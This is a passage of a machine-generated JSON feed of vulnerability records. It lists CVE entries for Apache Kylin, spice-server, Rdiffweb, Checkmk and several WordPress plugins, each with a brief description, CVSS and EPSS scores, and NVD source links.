aThemeArt Theme Helper athemeart-theme-helper allows Cross Site Request Forgery.This issue affects aThemeArt Theme Helper: from n/a through 1.0.8.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T14:17:23.710Z","updatedAt":"2026-10-16T15:19:36.177Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111413","asOf":"2026-10-16T15:19:36.177Z"},"epss":{"probability":0.00133,"percentile":0.02822,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111413&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111413","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111413","type":"primary","publishedAt":"2026-10-16T14:17:23.710Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111413&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111413, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-68571","cveId":"CVE-2026-68571","aliases":[],"kind":"vulnerability","title":"Improper Control of Generation of Code ('Code Injection') vulnerability in Apache Kylin.","summary":"Improper Control of Generation of Code ('Code Injection') vulnerability in Apache Kylin. Special parameter in JDBC URL can lead to code injection. \nImpact most to the kylin services that are directly exposed to public network, which is not common. In-house kylin deployments are mostly not impacted.\n\n\n\n\n\nThis issue affects Apache Kylin: from 4 through 5.0.4.\n\n\n\nUsers are recommended to upgrade to version 5.0.5, which fixes the issue.","detail":"Improper Control of Generation of Code ('Code Injection') vulnerability in Apache Kylin. Special parameter in JDBC URL can lead to code injection. \nImpact most to the kylin services that are directly exposed to public network, which is not common. In-house kylin deployments are mostly not impacted.\n\n\n\n\n\nThis issue affects Apache Kylin: from 4 through 5.0.4.\n\n\n\nUsers are recommended to upgrade to version 5.0.5, which fixes the issue.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T13:16:57.587Z","updatedAt":"2026-10-19T11:17:18.383Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-68571","asOf":"2026-10-19T11:17:18.383Z"},"epss":{"probability":0.00381,"percentile":0.31816,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-68571&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-68571","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-68571","type":"primary","publishedAt":"2026-10-16T13:16:57.587Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-68571&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-68571, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-63618","cveId":"CVE-2026-63618","aliases":[],"kind":"vulnerability","title":"Exposure of Sensitive Information (system level configuration info) to an Unauthorized Actor vulnerability in Apache Kylin.","summary":"Exposure of Sensitive Information (system level configuration info) to an Unauthorized Actor vulnerability in Apache Kylin.\n\n\n\nThis issue affects Apache Kylin: from 4 through 5.0.4.\n\n\n\nUsers are recommended to upgrade to version 5.0.5, which fixes the issue.","detail":"Exposure of Sensitive Information (system level configuration info) to an Unauthorized Actor vulnerability in Apache Kylin.\n\n\n\nThis issue affects Apache Kylin: from 4 through 5.0.4.\n\n\n\nUsers are recommended to upgrade to version 5.0.5, which fixes the issue.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T13:16:57.127Z","updatedAt":"2026-10-16T15:20:39.130Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-63618","asOf":"2026-10-16T15:20:39.130Z"},"epss":{"probability":0.00279,"percentile":0.20185,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-63618&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-63618","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-63618","type":"primary","publishedAt":"2026-10-16T13:16:57.127Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-63618&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-63618, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111399","cveId":"CVE-2026-111399","aliases":[],"kind":"vulnerability","title":"Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in PT Norther Lights Production MapSVG mapsvg-lite-interactive-vector-maps...","summary":"Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in PT Norther Lights Production MapSVG mapsvg-lite-interactive-vector-maps allows SQL Injection.This issue affects MapSVG: from n/a through 8.16.1.","detail":"Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in PT Norther Lights Production MapSVG mapsvg-lite-interactive-vector-maps allows SQL Injection.This issue affects MapSVG: from n/a through 8.16.1.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T13:16:55.733Z","updatedAt":"2026-10-16T15:19:36.177Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111399","asOf":"2026-10-16T15:19:36.177Z"},"epss":{"probability":0.00253,"percentile":0.16589,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111399&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111399","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111399","type":"primary","publishedAt":"2026-10-16T13:16:55.733Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111399&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111399, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111396","cveId":"CVE-2026-111396","aliases":[],"kind":"vulnerability","title":"Missing Authorization vulnerability in Liquid Web / StellarWP Advanced Post Manager advanced-post-manager allows Exploiting Incorrectly Configured Access Control Security...","summary":"Missing Authorization vulnerability in Liquid Web / StellarWP Advanced Post Manager advanced-post-manager allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Advanced Post Manager: from n/a through 4.5.6.","detail":"Missing Authorization vulnerability in Liquid Web / StellarWP Advanced Post Manager advanced-post-manager allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Advanced Post Manager: from n/a through 4.5.6.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T13:16:55.497Z","updatedAt":"2026-10-16T15:19:36.177Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111396","asOf":"2026-10-16T15:19:36.177Z"},"epss":{"probability":0.00203,"percentile":0.10187,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111396&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111396","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111396","type":"primary","publishedAt":"2026-10-16T13:16:55.497Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111396&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111396, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-107564","cveId":"CVE-2026-107564","aliases":[],"kind":"vulnerability","title":"An unauthenticated remote attacker may use an allocation of resources without limits or throttling weakness in the affected product to cause high CPU load leading to a denial of...","summary":"An unauthenticated remote attacker may use an allocation of resources without limits or throttling weakness in the affected product to cause high CPU load leading to a denial of service.","detail":"An unauthenticated remote attacker may use an allocation of resources without limits or throttling weakness in the affected product to cause high CPU load leading to a denial of service.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T13:16:54.013Z","updatedAt":"2026-10-16T20:04:29.760Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-107564","asOf":"2026-10-16T20:04:29.760Z"},"epss":{"probability":0.00334,"percentile":0.2655,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-107564&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-107564","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-107564","type":"primary","publishedAt":"2026-10-16T13:16:54.013Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-107564&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-107564, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-105958","cveId":"CVE-2026-105958","aliases":[],"kind":"vulnerability","title":"A flaw was found in spice-server. Multiple migration data handlers use client-supplied offsets from SPICE_MSGC_MIGRATE_DATA messages without bounds validation, allowing a...","summary":"A flaw was found in spice-server. Multiple migration data handlers use client-supplied offsets from SPICE_MSGC_MIGRATE_DATA messages without bounds validation, allowing a malicious authenticated SPICE client during VM live migration to read arbitrary heap memory or trigger heap corruption via out-of-bounds read and write operations on the message buffer.","detail":"A flaw was found in spice-server. Multiple migration data handlers use client-supplied offsets from SPICE_MSGC_MIGRATE_DATA messages without bounds validation, allowing a malicious authenticated SPICE client during VM live migration to read arbitrary heap memory or trigger heap corruption via out-of-bounds read and write operations on the message buffer.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T13:16:53.480Z","updatedAt":"2026-10-16T19:23:18.623Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-105958","asOf":"2026-10-16T19:23:18.623Z"},"epss":{"probability":0.00246,"percentile":0.15714,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-105958&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-105958","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105958","type":"primary","publishedAt":"2026-10-16T13:16:53.480Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-105958&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-105958, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-107648","cveId":"CVE-2026-107648","aliases":[],"kind":"vulnerability","title":"The WP Sessions Time Monitoring Full Automatic plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'action (also function, plugin, post_type, post_status,...","summary":"The WP Sessions Time Monitoring Full Automatic plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'action (also function, plugin, post_type, post_status, ids, loggedout, and POST post_title)' parameter in all versions up to, and including, 1.1.5 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","detail":"The WP Sessions Time Monitoring Full Automatic plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'action (also function, plugin, post_type, post_status, ids, loggedout, and POST post_title)' parameter in all versions up to, and including, 1.1.5 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T12:16:32.053Z","updatedAt":"2026-10-16T15:17:05.237Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-107648","asOf":"2026-10-16T15:17:05.237Z"},"epss":{"probability":0.00241,"percentile":0.15079,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-107648&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-107648","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-107648","type":"primary","publishedAt":"2026-10-16T12:16:32.053Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-107648&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-107648, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-105959","cveId":"CVE-2026-105959","aliases":[],"kind":"vulnerability","title":"A flaw was found in spice-server. The GLZ encoder dictionary restore path truncates a size_t allocation size to int when calling the malloc callback, allowing a malicious...","summary":"A flaw was found in spice-server. The GLZ encoder dictionary restore path truncates a size_t allocation size to int when calling the malloc callback, allowing a malicious authenticated SPICE client during VM live migration to trigger a massive heap buffer overflow by sending a crafted max_encoders value in migration data.","detail":"A flaw was found in spice-server. The GLZ encoder dictionary restore path truncates a size_t allocation size to int when calling the malloc callback, allowing a malicious authenticated SPICE client during VM live migration to trigger a massive heap buffer overflow by sending a crafted max_encoders value in migration data.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T12:16:31.733Z","updatedAt":"2026-10-16T19:23:18.623Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-105959","asOf":"2026-10-16T19:23:18.623Z"},"epss":{"probability":0.0048,"percentile":0.41126,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-105959&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-105959","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105959","type":"primary","publishedAt":"2026-10-16T12:16:31.733Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-105959&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-105959, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109119","cveId":"CVE-2026-109119","aliases":[],"kind":"vulnerability","title":"Improper Privilege Management in the user management API endpoint (/api/users/{username_or_id}) in Rdiffweb allows authenticated users to elevate their privileges to administrator...","summary":"Improper Privilege Management in the user management API endpoint (/api/users/{username_or_id}) in Rdiffweb allows authenticated users to elevate their privileges to administrator by modifying the role parameter in a POST request.","detail":"Improper Privilege Management in the user management API endpoint (/api/users/{username_or_id}) in Rdiffweb allows authenticated users to elevate their privileges to administrator by modifying the role parameter in a POST request.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T11:17:00.927Z","updatedAt":"2026-10-16T20:04:29.760Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109119","asOf":"2026-10-16T20:04:29.760Z"},"epss":{"probability":0.0038,"percentile":0.31685,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109119&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109119","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109119","type":"primary","publishedAt":"2026-10-16T11:17:00.927Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109119&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109119, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96768","cveId":"CVE-2026-96768","aliases":[],"kind":"vulnerability","title":"The GoSMTP Pro plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Comment Content via Email Log Body in all versions up to, and including, 1.2.3 due to...","summary":"The GoSMTP Pro plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Comment Content via Email Log Body in all versions up to, and including, 1.2.3 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The exploit is made possible because WordPress comment kses does not strip entity-encoded tag delimiters, allowing the payload to pass moderation as safe text before being decoded into live HTML by core email notification functions and written verbatim into the plugin's email log database table.","detail":"The GoSMTP Pro plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Comment Content via Email Log Body in all versions up to, and including, 1.2.3 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The exploit is made possible because WordPress comment kses does not strip entity-encoded tag delimiters, allowing the payload to pass moderation as safe text before being decoded into live HTML by core email notification functions and written verbatim into the plugin's email log database table.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T10:18:05.863Z","updatedAt":"2026-10-16T15:17:37.680Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96768","asOf":"2026-10-16T15:17:37.680Z"},"epss":{"probability":0.0019,"percentile":0.08583,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96768&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96768","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96768","type":"primary","publishedAt":"2026-10-16T10:18:05.863Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96768&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96768, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-14452","cveId":"CVE-2026-14452","aliases":[],"kind":"vulnerability","title":"Improper validation of the reset_url parameter of the Setup in-page search in Checkmk <2.5.0p15, <2.4.0p38, <2.3.0p51 and 2.2.0 (EOL) allows an attacker to execute arbitrary...","summary":"Improper validation of the reset_url parameter of the Setup in-page search in Checkmk <2.5.0p15, <2.4.0p38, <2.3.0p51 and 2.2.0 (EOL) allows an attacker to execute arbitrary script in the session of an authenticated user with Setup access, or to redirect that user to an arbitrary external site, by tricking the user into opening a crafted URL and clicking the Reset button or submitting an empty search.","detail":"Improper validation of the reset_url parameter of the Setup in-page search in Checkmk <2.5.0p15, <2.4.0p38, <2.3.0p51 and 2.2.0 (EOL) allows an attacker to execute arbitrary script in the session of an authenticated user with Setup access, or to redirect that user to an arbitrary external site, by tricking the user into opening a crafted URL and clicking the Reset button or submitting an 